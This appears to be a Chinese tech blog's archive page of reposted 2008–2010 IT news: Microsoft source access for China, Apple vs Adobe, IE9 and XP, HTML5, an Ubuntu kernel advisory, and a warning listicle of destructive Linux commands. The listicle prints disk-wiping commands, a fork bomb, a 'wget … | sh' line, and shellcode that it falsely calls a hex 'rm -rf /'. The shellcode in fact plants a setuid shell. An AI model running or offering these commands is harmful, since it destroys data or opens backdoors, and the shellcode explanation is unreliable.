分類彙整: 编程开发

中国机构获得微软授权可查看Win7大部分源码

微软中国今天发布消息称,该公司日前已与中国信息安全测评中心续签了新一期的政府安全计划源代码协议。微软称,该中心和相关被授权 机构将被允许查看包括 Windows 7, Windows Server 2008 R2在内的微软产品和平台源代码以及相关技术信息,从而提高中国政府对微软产品安全方面的分析和测评能力。

此协议的签订和实施是国家发展改革委员会与微软公司2006年4月共同签署的关于加强软件产业合作备忘录(二期)的重要组成部分。国家发展改革 委高技术产业司副巡视员徐建成、中国信息安全测评中心主任吴世忠和微软公司全球副总裁Scott Charney等当天出席了签字仪式。

政府安全计划源代码协议(GSP)是微软2001年在全球推出的一个安全合作项目,主要为政府机构及国际组织提供合法查看微软产品和平台源代码以及相关技 术信息的途径,从而增强对微软产品的安全性能方面的理解和信心。2002年,微软宣布可信赖计算计划(Trustworthy Computing),旨在强调微软产品的安全性。

中国政府作为首批参加该计划的政府之一,曾在2003年2月授权该中心与微软公司签署了第一期政府安全计划源代码协议,获权查看当时主要相关微软产品的源 代码和相关技术信息。

中国政府为了保障信息化进程的健康发展,确保信息技术产品的安全可控,专门成立了“中国信息安全测评中心”,开展对信息技术产品和系统的安全性检测和风险 评估工作。

根据签署的新协议,中国信息安全测评中心和相关被授权机构将可以在线即时查看包括Windows 7, Windows Vista、Windows XP、Windows Server 2008 R2, Windows Server 2003、Windows 2000和Windows嵌入式CE 6.0、5.0版、4.2版的专业版源代码包(“PSK”)以及Microsoft Office 专业版2003、Microsoft Office系统中的任何附加产品等在内的微软产品的绝大部分现有版本源代码和相关技术信息。

微软的消息未指明“绝大部分”的具体范围。

国家发展和改革委高技术产业司副巡视员徐建平表示,希望微软公司与中国合作伙伴本着互利共赢的原则在信息安全领域进一步深化合作。

360安全卫士卸载金山网盾看产品设计

360安全卫士卸载金山网盾看产品设计 http://hi.baidu.com/yumcn/blog/item/ed9e50365c5ff4d1a2cc2bf1.html

做产品的要学会分析用户心理,诱导用户按我们的意愿办事,但还得看起来像是用户做了英明的决策。该文非常多智慧的火花,收藏学习。

闹得沸沸扬扬的“360流氓卸载金山网盾”事件中,别人关注的是国内IT界两个豪门之间的是非,其实这里面最有看头的,是学习一下360安全卫士的产品经理如何熟练的通过产品交互手段操纵用户,打击竞争对手产品。其招式之娴熟狠辣,卖相之道貌岸然,实在令人击节赞叹。 閱讀全文

译文:深入了解 VP8

问题一:vp8到底怎么样?
难道他真的比x264拥有更高的压缩比率,是个优秀的编码器吗?他真的比h264优秀吗?似乎On2自己都羞于承认…拿vp7举例,On2宣称 vp7比h264快15%,但事实是编码视频速度既不快,视频质量也不高。On2曾经把vp3开源,似乎想借助社区的力量debug,最终theora上 当……他们花了6年时间,结果做出来的还是个鸡肋…… 閱讀全文

美博客批苹果与 Adobe:别拿开放说事

美国科技博客Mashable编辑克里斯蒂娜·沃伦 (Christina Warren)今天撰文称,苹果和Adobe原本就是科技行业最封闭的两家企业,但他们却同时拿开放做起了文章,并且借此抨击对方,这完全是一种伪善之 举。以下为文章全文:

Adobe与苹果就Flash及其在移动网络中的地位展开了争论,在此过程中,这两家企业都不约而同地提到了“开放”这个 词。苹果称,“开放” 是iPhone不支持Flash的原因之一;而Adobe也在回应中表示,“我们热爱选择”。看到历史上最封闭的两家科技企业竟然相互攀比谁更开放,的确 非常可笑。

了解我的人都知道,我喜欢直截了当,这一次也不例外:苹果和Adobe在使用“开放市场”、“自由”和“选择”这样的词汇时,根本就不诚实。在 这场争论中,将开放当做一种美德是一种虚伪的行为,原因在于这两家企业对相关技术的讨论完全是站在他们自己的立场上,根本没有所谓的“开放”可言。

只为利益而开放

苹果和Adobe希望探讨开放、坚持标准以及为开发者提供“自由”和“选择”等宏伟理想的重要性。但是真正实施起来,这两家公司都只会在对自己 有利时才会采取开放策略。

我并不是在批评这种决策:他们只是以商业为基础来选择性地支持“开放”,况且过于理想化的开放也并不实际。事实上,这也符合大多数公司的选择, 即使是那些对开源技术投入的资源比苹果和Adobe的总和还要多的企业,也不能免俗。

然而,无论是苹果还是Adobe,如果要对开放的立场进行辩护,那就未免太过荒谬,而且根本不符合实际。

下面就让我来解释一下原因。

开放网络与开放开发平台

在移动应用领域,我们经常会提到网络应用和本机应用。网络应用是完全在浏览器中运行的应用。二者之间的区别就好比利用iPhone访问 Gmail与使用内置的邮件应用收发邮件一样。

苹果和Adobe的冲突其实同时涉及这两个领域:

– 苹果不允许Flash作为浏览器插件在iPhone中运行。苹果的解释是,这会影响性能,而且苹果希望重点发展开放网络标准,而非封闭的插件。

– Adobe非常生气,因为苹果已经禁止使用Flash CS5跨平台编译器开发的本机应用进驻应用商店。

这是两个独立的问题,但都可以很好地说明,这两家公司在指责对方时,其实并不真正关心“开放”。

网络标准

具体到对开放网络标准的支持,许多网络标准拥护者都赞成苹果的立场:Javascript、CSS3和HTML5有着开放的规范,而且可以通过 许多不同方式部署到不同的平台中。

万维网联盟(以下简称“W3C”)是专门创建网络标准的国际组织。苹果、Adobe、微软和谷歌都是W3C的成员。

尽管Adobe可以辩称,通过Open Screen Project项目,Flash的确实现了开源,但Flash本身并不是一个开放标准。尽管Adobe在《Flash的真相》(The Truth about Flash)一文中引述了Gnash等开源的例子,但在源代码封闭的情况下却无法获得同样的效果,因为Flash的部分内容与DRM(数字版权管理)相 关,而其他内容控制机制则无法使用。去问问那些无法播放BBC iPlayer内容的XBMC用户就知道了。

与HTML5和CSS3以及与之相关的技术不同,Flash不是一种开放网络标准。Adobe或许免费提供了部分技术,也或许公布了部分SWF 标准,但是整个Flash生态系统并不是开放的,也不是一种网络标准。Adobe口口声声说他们支持自由选择,但是这种自由却并没有被拓展到他自己的技术 中去,这显然是一种伪善的行为。

定义本机代码

但苹果也并非全无过错。无论你是否同意苹果在跨平台编译器和兼容层上的立场,这仍然是一种自相矛盾的论调。

苹果反对在iPhone中使用Flash CS5等应用开发工具,因为这些工具最终是由Adobe一家公司控制的,而且有可能会导致iPhone的兼容性和性能出现问题。

这一点可以理解。但开发者同样值得同情,他们每年花费99美元购买Adobe的产品无非就是为了开发iPhone应用,而现在却无法使用这些工 具了。Adobe的员工甚至因此而对苹果大爆粗口,而Adobe也通过一些官方措施鼓励开发者转而为Android开发应用。

即使是一些与Flash无关的开发者也受到了这一事件的影响。就在本周,资深Mac软件开发者沃尔夫·伦萨奇(Wolf Rentzsch)宣布取消独立Mac开发者大会C4,部分原因就在于不满苹果对跨平台编译器制定的新规。

在这种情况下,苹果其实是在限制开发者的选择。这一事件本身没什么大不了,虽然会引起一些不满,但如果不是苹果自己跳出来讨论开放的重要性,便 不会存在任何伪善的成分。

别拿开放做文章

苹果和Adobe都不是开放软件、开放标准或开放开发平台的代表。但这并不意味着他们就是不好的。不过,如果将这种情绪化的内容引入到争论中只 会令问题更为复杂。

Adobe在这场争论中处于不利位置,因为它很容易成为目标。目前还没有任何一款移动设备在出厂时就能够完全支持Flash,而且有越来越多的 内容发布商开始转向HTML5视频,或者使用CS5以外的其他工具开发的本机应用来代替RIA(富互联网应用)。

移动网络与桌面网络并不完全相同,人们越早意识到这一点越好。我更愿意看到Adobe通过更多的第一手资料来展示Flash在移动设备上的表 现、该技术为何适合触摸界面以及嵌入式系统如何利用这一技术,而不是就视频的未来以及Flash是否适合本机移动应用而争论不休。

另一方面,我也非常希望苹果能够进一步开发WebKit,并将相应的功能整合到移动和桌面设备中去,借此来表明自己对开放网络和网络标准的支 持,而不是对其生态系统内的移动开发者进行事无巨细的管理。

在一个完美的世界中,无论这两家企业是否认同对方的模式,依旧可以在不攻击彼此的情况下走自己的路。可惜的是,我怀疑这种情况短期内不会发生。

微软IE9不支持XP 国产浏览器难把握“新商机”

近日,由于Windows XP用户无法使用最新的IE9浏览器导致微软遭到谷歌、雅虎等多家竞争对手的指责。而国内浏览器业内人士表示,讨论微软此举对中国浏览器市场的影响为时过 早,短期内中国浏览器市场格局不会有大的变动。尽管早在今年3月的MIX开发者大会上微软就表示XP用户将无法使用IE9浏览器,但是 外界,特别是XP用户仍抱有一线希望。而此次微软再次以 “绝不”来回应对于XP系统支持的问题算是捅了马蜂网。甚至有国外的技术人士大声呼吁:“我建议所有的XP用户都放弃IE,采用其他浏览器。”

实际上,对于微软来说,现在就坚持IE9不会支持Windows XP似乎实在是不明智之举。根据Net Applications的统计,今年4月IE市场占有率从3月份的60.65%进一步降至59.95%。这是微软IE多年来市场份额首次跌破六成。不论 在国内还是在国外,浏览器厂商都在蚕食微软IE浏览器的市场份额。

借口:要支持HTML 5新标准

实际上,微软拒绝在IE9中支持XP的理由,是因为IE9要支持HTML 5——一个即将推出的新版网络标记语言,将能够为用户提供许多新的功能,包括通过标准的方式来部署视频、动画、音频和线下存储空间。而现有的HTML标准 不包含这些功能。

微软方面强调,HTML 5是互联网的未来,所以决定全力“拥抱”。在此之前微软的IE8仅部分部署HTML 5标准,但并不完整。而这一直以来受到外界的诟病。

微软声称,完全支持HTML 5的IE9浏览器是一款“现代化的浏览器”,为此需要一款“现代化的操作系统”相匹配。微软的言下之意是Windows XP系统并不属于这类“现代化的操作系统”。

但其竞争对手谷歌的技术人士并不认同这种看法,“Opera和Mozilla也在浏览器中使用了硬件加速,而且所有浏览器都可以在XP中运 行”。

用意:逼迫XP用户升级

网页浏览器的竞争中从来不缺乏硝烟和战场,上世纪90年代,就市场占有率来说,Netscape(网景)的网页浏览器曾占首位,但在“第一次浏 览器大战”中被微软的IE所击败,并最终退出历史舞台,微软IE得以一枝独秀。近年来,在谷歌Chrome、火狐等浏览器的入侵下,支配浏览器市场多年的 微软正在飞快地失去市场份额。市场分析机构NetApplications发布的最新数据显示,今年4月份,谷歌Chrome浏览器份额继续强劲增长,由 6.1%增长至6.7%,主要蚕食了微软IE浏览器份额。火狐和Safari市场份额都出现小幅增长,分别达24.59%和4.72%。

基于这种态势,有“阴谋论者”认为,微软宣称IE9不支持Windows XP,实际上是为了加速淘汰XP操作系统。希望这部分固守XP的用户,如果想要享受IE9所带来的新体验的话,那么就必须放弃XP,能够转投 Windows7。而这将增加微软的收入。

Forrester分析师谢里·麦克雷什便是其中之一,他表示, “XP是与Office 2003和IE6同时代的产品,微软不想再延长这些产品的寿命。支持XP不符合微软的利益”。但同时表示这也给了火狐等竞争对手进一步蚕食IE市场份额的 机会,由于大量小企业和消费者仍然在运行Windows XP,微软的这一决定将为火狐等竞争对手提供机会。Mozilla和谷歌也在开发浏览器硬件加速技术,但它们的技术支持Windows XP。

变数:国产浏览器难破现有格局

微软因为自身长远利益而做出的决定,不仅在国外,同时也使国内浏览器市场未来的格局产生了某种微妙的变化。这是否是国产浏览器的绝好商机呢?

艾瑞咨询产业研究部副总监王芳对记者表示,微软IE浏览器在中国市场的占有率仍居首位且表现稳定。

根据艾瑞咨询4月份浏览器市场占有率调查报告,中国网民日均选择使用IE浏览器的市场占有率为66.94%,几个月来一直保持在这个水准,几乎 没有什么波动。

王芳强调,由于中国互联网每年有大量新用户增加,网络覆盖也扩展到二三线城市和城镇、乡村用户,大部分网民属于初级网络用户,上网时习惯使用操 作系统自带的IE浏览器,而自主判断和选择浏览器产品的高级用户不多。

因为浏览器是互联网行业最重要的入口,谁要能够占住这个入口,就可以在商业上有无限可能,因此国内包括搜狐、腾讯、360、傲游等都推出了自己 的浏览器。不过面对微软IE 9放弃对XP的支持,国内公司的态度显得非常低调。

奇虎360方面表示,IE浏览器因为是Windows操作系统中自带的,由于操作习惯和使用惯性,IE在中国浏览器中的龙头地位很难被其他竞争 对手撼动。即使微软做出最新IE9不支持Windows XP的决定,也不会在短期内形成对中国市场的冲击。

而傲游浏览器的公关负责人表示,微软这一举动看似给了其他浏览器厂商机会,但由于微软其他版本的IE在用户中使用率还很高,地位也很稳固,现在 说中国浏览器市场格局将有大变动还为时过早。

有分析认为,对于浏览器“用户只有体验不错,才会长期使用。这是一个双向选择的过程,真正的决定权还在网民本身”。商报记者 罗添 实习生 张绪旺/文

即时通讯鼻祖ICQ之死

今年2月份,传出了美国在线AOL出售即时通讯软件ICQ的新闻,这款即时通讯软件是该类软件的鼻祖,它同时也第一次实现了让信息漂洋过海,让世界 近在咫 尺。它改变了一代人沟通和交流的方式,并且在其之后,曾经出现了五、六十款模仿者,包括世界第三大互联网公司腾讯QQ。而 今,ICQ面临被收购的局面,腾讯却站在了收购者的阵营里。 閱讀全文

漫画:混乱的标记语言XHTML2/HTML5(附中文版翻译)

W3C最近宣布将于今年年底解散XTHML2工作组。一石激起千层浪,很多误解和谣言四起,江湖一片血雨腥风,搞得网页设计师人人自危,好像世界末日即将到来。其实,这只是个误解,看完下面的这幅漫画,大家就了解了。完全可以放心,然后回家洗洗睡了。

非原创,来源网络:英文版源文地址:漫画英文版源文地址,这里是英文原版漫画

感谢我的同事Kevin Jaw的翻译。他的博客地址是:Kevin Jaw的博客

点击下方图片或者混乱的标记语言漫画链接,可以打开更大、更清晰的大图,看起来会更爽哦。 閱讀全文

HTML 5 令人期待的 5 项功能

HTML 5 是超文本置标语言下一个重要版本,HTML 自1999年发布 HTML 4.01 以来,其开发一直处于停顿状态,而1999年至今正好是 Web 飞速发展的时间,现在的 HTML 版本已经无法适应现在的 Web 内容与应用。HTML 5 旨在提高 HTML 的交互行,支持当前多样的,复杂的 Web 内容。同时,它也会解决 HTML 4 Web 应用功能上的欠缺。

一点历史背景

HTML 5 的讨论开始于2003年,当时,W3C 对由 Web Hypertext Application Technology Working Group (WHATWG) 开发的 HTML 5 草案表示出兴趣,WHATWG 创始于2004年,由苹果,Mozilla 基金会,以及 Opera 公司的 代表组成。此后,W3C HTML Working Group 于2007年成立并着手开发 HTML 5。目前,开发工作仍在进行中,并将于2012年向 W3C 提交初步意见,不过现在已经有不少浏览器部分支持 HTML 5。本文介绍 HTML 5 的5大令人激动的新功能。

1. 一些帮助我们描述内容的新标签

Web 内容的多样性让 HTML4 力不从心,在描述一个网页时,HTML4 如下 表现:

HTML 5 将如下表现:

这样,浏览器就知道一个网页的各个部分各代表什么,比如 <nav> 部分是导航,而 <article> 部分是主要内容 。除了更漂亮的 代码与语义标签,这种改变还带来更多好处,比如,搜索引擎可以更准确地知道一个网页的哪部分内容更重要。关于 HTML 5 新标签,IBM有详细的论述

2. 改进的 Web 表单处理

HTML 5 推出 Web Forms 2.0,为开发提供许多新选项和新功能,以更简单更有效地处理表单的输入与发布。Web Form 2.0 最令人兴奋的功能是输入验证。目前,我们需要通过 JavaScript 或服务器端的逻辑,实现同样的功能。

比如有下面这样一个表单:

在 HTML4 我们需要这样写代码,然后使用 JavaScript 或服务器端的脚本进行验证:

而 HTML5 中的 required email 属性可以直接实现验证,如下:

3. 为 Web 开发提供 API

HTML 5 将提供多个 API,如音频和 视频标签可以让开发者不借助第三方工具直接播放 Web 视频和音频:

Opera 在者方面有不少研究并有视频播放 demo 推出

4. <canvas>标签将允许直接在上面用脚本绘图

人更容易从图片获得信息,如,下面的信息通过表格和圆饼图两种方式显示,效果明显不一样:

然而以往要实现这种效果,只能使用静态图片,无法对图片进行调整。使用 <canvas> 标签,你可以实时修改参数对图形进行修改,比如,根据用户的投票,实时生成圆饼图。

5. 用户可以编辑网页的部分内容并实现同网页的交互

HTML 5 将支持用户的交互contenteditable属性允许你设定网页的哪一部分可以编辑,在基于 Wiki 的 站点,这非常实用。

延伸阅读

本文国际来源:http://www.readwriteweb.com/archives/5_exciting_things_in_html_5.php
中文翻译来源:COMSHARP CMS 官方网站

Windows XP:无法割舍的系统

逐步淘汰旧系统对微软来说不是什么新闻了,但是Windows XP是例外的,它太优秀了以至于无法被淘汰。本周,Dell宣布在Vista基础上进行降级需要额外的150美元,而在5个月前,它刚宣布停止在Inspiron系列的PC上预装XP,尽管微软宣布明年7月31日将是XP的最后期限。

但是种种迹象表明,更多的用户会选择停留在XP,而不会给Vista机会。据Net Applications的调查数据,尽管08年XP的市场份额已经下降了10%而Vista缓慢增长,但是XP仍然占据着66%的市场份额。

毫无疑问,Dell及其他OEM的XP降级费用会让消费者很苦恼,同时企业如果想要停留在XP,在购买新机时肯定也会选择降级。业界分析师认为,微软的降级费用倒是小事,更大的问题是用户还希望停留在旧系统上而微软却选择放弃。

别通过放弃XP来挽救Vista
Enderle Group分析师Rob Enderle称,收取XP降级费用最终将不但达不到预期目的,反而给微软造成伤害,因为此举是将长期的客户忠心换来短期的盈利。“要彻底解决问题,微软 应该专注于用户对Vista的需求,而不是倾力于财政收入”,Enderle说道,“专注于用户需要什么才是解决现在Windows形象的最好方法。”

在经济衰退的2009年,客户和企业都将更加注重笔记本和台式机的价格。据IDC的一份预测报告,2009年PC的价格将下降10个百分点。 Enderle 称,“微软应该通过其他方式来鼓励用户使用Vista,而不是通过对降级为XP进行收费的方式,他们太过注重一个产品的利润反而伤害到了自己的品牌”。 Endpoint Technologies研究中心主管Roger Kay的称,这种行为会伤害到用户的选择自由,只会让用户更加愤怒。

Windows 7能解决问题吗?
作为Vista的继任者,Windows 7肩负着除去Vista低迷状态的使命,XP用户是否会选择升级到Windows 7目前还是个未知数。Enderle预测,微软将在明年就会发布Windows 7而不是等到2010年。收取降级费用或许只是微软驱使用户使用Vista和Windows 7的短期计划,但是微软还要做哪些事让用户继续前进呢?

Enderle称,大部分还是的取决于更好的市场销售和Windows 7的用户体验。如果继续对XP降级进行收费,同时让OEM彻底放弃这款系统,那么在09年用户丢XP的需求可能没有那么强烈了 ,虽然如此,用户的渴望还是在那里,这点会让微软感到很头疼。

Windows XP: The OS That Won’t Quit

Gmail 开始支持PDF直接浏览

是的你没看错哦,GMail继全面支持MSOffice文档之后开始对PDF文档提供了支持.
目前GMail已经可以把PDF文件转换为HTML后直接显示出来,这一功能的核心是采用了来自Google Docs的PDF viewer,也可以将PDF像搜索引擎中一样转化成纯文本浏览,当然相信Google不会仅仅满足于此的,在附件支持上还会继续扩展.

Ubuntu发现影响所有版本内核安全漏洞

11月27日,Ubuntu开发者为6.06 LTS, 7.10, 8.04 LTS以及8.10这几个版本发布了重要安全更新,补丁修复了9个内核安全安全问题,因此强烈建议Ubuntu用户尽快升级自己的系统.

内核安全漏洞列表

1. The Xen hypervisor block driver couldn’t accurately validate incoming requests. Therefore, a user with root privileges could crash a system and cause a DoS (Denial of Service) attack by executing malicious I/O requests. This issue affects only Ubuntu 7.10.
2. The i915 video driver couldn’t accurately validate memory addresses. Therefore, an attacker could remap memory and cause a system crash, leading to a DoS (Denial of Service) attack. Ubuntu 6.06 LTS, 7.10 and 8.04 LTS users are not affected by this issue. Ubuntu 8.10 users should update their systems to correct this vulnerability!
3. When files were created in the setgid directories, the Linux kernel package couldn’t accurately strip permissions. Because of this, a local user could gain extra group privileges. This issue was discovered by David Watson and it affects only Ubuntu 6.06 LTS users!
4. When file splice requests were handled, the Linux kernel package couldn’t accurately reject the “append” flag. Therefore, a local attacker could create changes to random locations in a file by bypassing the append mode. This issue was discovered by Olaf Kirch and Miklos Szeredi, and affects only Ubuntu 7.10 and 8.04 LTS users!
5. The SCTP stack couldn’t accurately handle INIT-ACK. Because of this, a remote user could send specially crafted SCTP traffic and crash the system, leading to a DoS (Denial of Service) attack. This issue affects only Ubuntu 8.10 users!
6. The SCTP stack couldn’t accurately handle the length of bad packets. Because of this, a remote user could send specially crafted SCTP traffic and crash the system, leading to a DoS (Denial of Service) attack. This issue affects only Ubuntu 8.10 users!
7. The HFS+ filesystem had several flaws. Because of this, a user could be tricked to mount a malicious HFS+ filesystem, which could lead to a DoS (Denial of Service) attack and crash the system. This issue was discovered by Eric Sesterhenn, and affects all Ubuntu users!
8. The Unix Socket handler couldn’t accurately process the SCM_RIGHTS message. Therefore, a local attacker could create a malicious socket request and crash the system, leading to a DoS (Denial of Service) attack. This issue affects all Ubuntu users!
9. The i2c audio driver couldn’t accurately validate several function pointers. Therefore, a local users could obtain root privileges and crash the system, leading to a DoS (Denial of Service) attack. This issue affects all Ubuntu users!
Ubuntu 6.06 LTS 要将内核升级到linux-image-2.6.15-53.74
Ubuntu 7.10 要将内核升级到  linux-image-2.6.22-16.60
Ubuntu 8.04 LTS 要将内核升级到 LTS linux-image-2.6.24-22.45
Ubuntu 8.10 要将内核升级到 linux-image-2.6.27-9.19

微软表示Windows 7将直接在CPU上跑DirectX 10

Windows Vista对GPU的高要求让微软的老爷机客户们意念崩溃,因此他们正在做出一些改变以减低系统需求.
最新的一个消息是Windows 7中的DirectX 10版本将不再需要专用的GPU,微软透露他们将发布一个最新的概念:Windows高级光栅平台- “WARP”.
已经将Direct3D 10和10.1全部置于CPU来运行并且可以同时提供高达8倍的多采样抗锯齿,各向异性过滤和所有可选的纹理格式,并且实现这些特效的系统配置仅需800MHz的处理器.

这意味着Windows 7的特效本身和许多游戏中原有的工作量都将转移到CPU来完成,完成了一次任务处理对象的回归.

微软还提供了一些有趣的数据,当Crysis运行在英特尔集成显卡的800×600最低质量设置下时,八核心i7系统的平均帧速为7.36fps.

虽然目前能实现的性能很入门,但ATI和NV应该会适当发发抖.

Windows Advanced Rasterization Platform (WARP) In-Depth Guide

7个极具杀伤性的Linux命令

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:

rm -rf /
这个很简单,根目录会被擦光.

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

没看懂?呵呵,其实就是16进制的[rm -rf /].

3. Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的

4. Code:

:(){:|:&};:

这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev/sda

这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

7. Code:

mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到.

NASA采用基于Bugzilla的问题报告软件

预计在周五发射的航天飞机奋进号起飞时,航天飞机上的宇航员和地面执行任务控制的技术专家都将使用一种简化问题报告和分析的新软件。
新软件名为Problem Reporting Analysis and Corrective Action (PRACA),由NASA Ames研究中心人机互动研发小组开发,是设计让整个航天飞机生态系统人员访问单一的数据库,追踪航天飞机和相关设施的问题。 研 究负责人Alonso Vera称单一的PRACA包将取代过去30年中使用的超过40种不同的数据库系统。新的PRACA软件是基于开源的Bugzilla问题跟踪系 统,Vera没有透露开发成本,但表示比以前使用的系统便宜了一个数量级,相当于10万美元之于100万美元。

更重要的是,使用开源的Bugzilla工具,技术人员可以随时随刻进行修改,无需再去劳烦私有开发商,减少时间。周五的发射将是新PRACA系统的首次预演,但现有的PRACA系统暂时仍将使用。

英文报道原文:http://www.zlck.com/tech/linux/nasa-open-turns-source-problem-tracking.html

牛人打造Mac Pro Ultra Mini

一位国外网友声称,他有一台独一无二的Mac Pro Ultra Mini,此产品外型上与苹果之前的Mac Mini不太相同,倒是与Mac Pro台式机有些类似.
不过实际情况是这样的,这位老兄因为进水的缘故弄坏了自己的MacBook Pro,虽然机器挂掉了,所幸主板没有损坏.一次偶然的机会他在网上看到了一个外形酷似Mac Pro的移动硬盘盒.出于废物利用的角度,他把自己的MacBook Pro配件装进了这个移动硬盘盒.于是一台崭新的Mac Pro Ultra Mini诞生了.

出于废物利用的角度,这倒是一个不错的创意,因为自己的原因损坏而不能获得质保的笔记本,你总舍不得把它扔掉吧?

迁移到Linux平台应考虑的十个问题

随着经济环境的恶化和Vista没有获得太多的认可,很多IT部门考虑将平台向Linux迁移。尽管很多人认为Linux优于windows,但是在更换平台前应该先要慎重考虑。否则到最后你可能到发现必须得回到原来的平台,如果你考虑向Linux平台迁移,应先考虑以下十个问题:

1.那些私有的,关键性的程序能否在新的平台运行?
考虑平台迁移必须考虑的第一件事是:是的,可能大部分软件在Linux平台下都有类似的程序可以使用。比如photoshop,可以用Gimp代替,Adobe Pagemaker可以用Scribus代替。但是,有的特定软件在Linux平台没有相应的跨平台版本,在这种情况下,你就得使用Wine,或者虚拟机 来运行windows上的程序。但是这样会花费很多时间和精力,有的时候还不是能很稳定运行,特别是使用Wine的时候。

如果你有关键的程序专门是为windows开发的,那么最好不要进行平台迁移,以使这些软件能正常使用,当然要是这些关键软件是基于WEB的话,那么你可以进行迁移,因为使用Firefox也能达到和IE同等的效果。

2.你计划使用哪个桌面环境?
对于windows和Mac OS X,桌面倒是很选择,可是对于发行版数量庞大的Linux选择面就更广了。如果你选择一个错误的桌面环境,你的工作效率可能低了很多,但是,选择合适的桌面也不是很难。

如果你的用户之前习惯使用Mac OS X,那么最好选择Gnome;如果之前习惯使用XP,那么最好选择KDE 3.5.x;如果之前习惯Vista,那么最好的选择是KDE4.X。Linux桌面环境定制性可以超越windows 和Mac OS X。你可以发挥自己的想象力,为公司定制一个特别的桌面环境。但是基于这点,你必须先深入统计用户喜欢使用哪种桌面环境。

3.你的部门能胜任这个平台吗?
向Linux平台迁移可能导致的最大问题就是,如果不进行额外的培训,员工不一定能随着平台改变自己的习惯。如果员工很了解windows,不意味着他能 很好的管理Linux系统和网络。如果你计划进行平台迁移,先了解一下员工对新操作系统的了解程度。如果他们不是很了解,那么无论在迁移时还是迁移之后都 将遇到很大的麻烦。我们当然希望自己的员工精通所有的技术,但是现实是大部分IT专家也只是精通于自己研究的领域。但是对于大部分IT管理员来说,使用 Linux当然不是什么难事。

4.你的公司从windows系统获益了吗?
很多公司和机构使用windows系统获益与否都不是马上显现的。比如很多大学为学生提供很多软件,类似于Visual Studio和Ofiice,部署在学校的电脑上。如果进行平台迁移,这些软件就报废了,损失是很巨大的。当然如果使用Linux,那么将得到免费的软件 支持,可以节约不少开支。

5.雇员使用很多便携式媒体设备吗?
Linux已经对多媒体设备的支持进行很大的改进,但是仍然不如windows方便。很多Linux新的发行版本做得很好,可移动磁盘安装和使用都是件简 单的事情,这些过程都是全自动的。如果很多员工使用可移动磁盘,那么就得选择一个能很好支持这些设备的发行版,比如Mandriva。

6.你的硬件支持新的平台吗?
一般来说,这已经不再是个问题,但是对于为了节约成本而使用廉价硬件的公司来说,这就是个问题了。大多数情况下最大的问题就是集成显卡,虽然升级显卡问题不大,但是如果公司的机器太多,如果为了迁移系统而进行显卡升级,那么花费肯定也不低。

另外如果在笔记本上部署也是个很大的阻碍,无线网卡能用吗?声卡显卡都能正常工作吗?高兴的是Linux可以使用LiveCD,你可以通过它来测试你的硬件是否支持相应的系统。

7.你在使用Active Directory吗?

如果你的公司很大程度地依赖Active Directory,如果从Active Directory迁移OpenLDAP将是件困难的事情,因为他们的功能不一致。如果非得进行这个迁移,你可以使用pwdump2 和ActiveState Perl来管理.但是别指望能通过输入简单的命令或者点击图标就能完成。

8.你是否外购技术支持?
很大大公司都花钱外购技术支持,如果你的公司是这样的情况,那么向Linux迁移前你最好先进行调查。如果计划采用Unbuntu,RedHat,或者 Novell Linux,那么你可以购买技术支持。但是对于其他发行版,你可能就不能获得同等级的技术支持了,他们大多是通过邮件的方式来进行支持。

9.你是否受制于软件的许可费用?
如果你已经和安全公司定下购买安全软件的合同,那么你就是在浪费钱了,因为这些服务在Linux也许用不到。如果你还在为安全软件付费,那么最好进行平台迁移,它可以为你省不少安全服务的费用。

10.哪些雇员能适应平台迁移?
实际上你可以控制平台迁移的范围,把它做得更聪明,更有效率。或许很多雇员能适应迁移的要求,比如它主要进行基于web浏览器的工作,你可以把他列入平台 迁移的对象,这对他们来说没多大的变化。 对于经常使用office套装工作的雇员,可以不进行平台迁移或者使用OpenOffice来代替。而对于使用专业软件的人员来说,最好不要进行平台迁 移。

将您的落后且不安全的IE6升级到IE7的七大理由

http://www.awflasher.com/blog/archives/1417

我个人是Firefox的忠实用户。但我绝不强迫许多对Mozilla或者“火狐”有意见(Firefox的名誉的确在中国不太好,详见此文)的朋友使用Firefox。不过,对于还在坚守IE6不升级到IE7的用户,我认为,是时候升级了。理由如下:

  1. 功能的落后
    IE6对CSS和JavaScript的许多新功能无法支持。最起码的background fixed都无法支持:现在许多Web开发者使用的对策是expression、iframe或者用javascript去调整对象的位置。这给您带来极大蹩脚的体验。
  2. 安全的缺陷
    IE6的安全性远远不及IE7,且去追究IE6为流氓软件迅速发展“立下”的“汗马功劳”,Paypal(即全球网上贸易泰斗级产品)都宣称:IE7是“Safer Web Browser”(更安全的浏览器)。在Google搜索IE7+Security,更是得到了极多的喝彩。
  3. 与Flash技术磨合的失败
    IE6中,给Adobe Flash技术发挥造成了诸多的麻烦,比如:IE6无法将Gzip包正确地传输给FlashPlayer_root第一帧下Stage类信息丢失(仅IE有此问题)
  4. IE7的效率、稳定优势
    IE7的速度、渲染效率明显优于IE6,死机几率明显低于IE6
  5. IE7的标签式浏览体验
    支持标签式浏览,此前,IE6因没有这项功能而被许多“流氓扩展”利用(比如号称提供标签浏览体验而给IE6加一个粗糙的标签功能,并像老白金那样给你塞满恶心的广告)
  6. 微软的支持
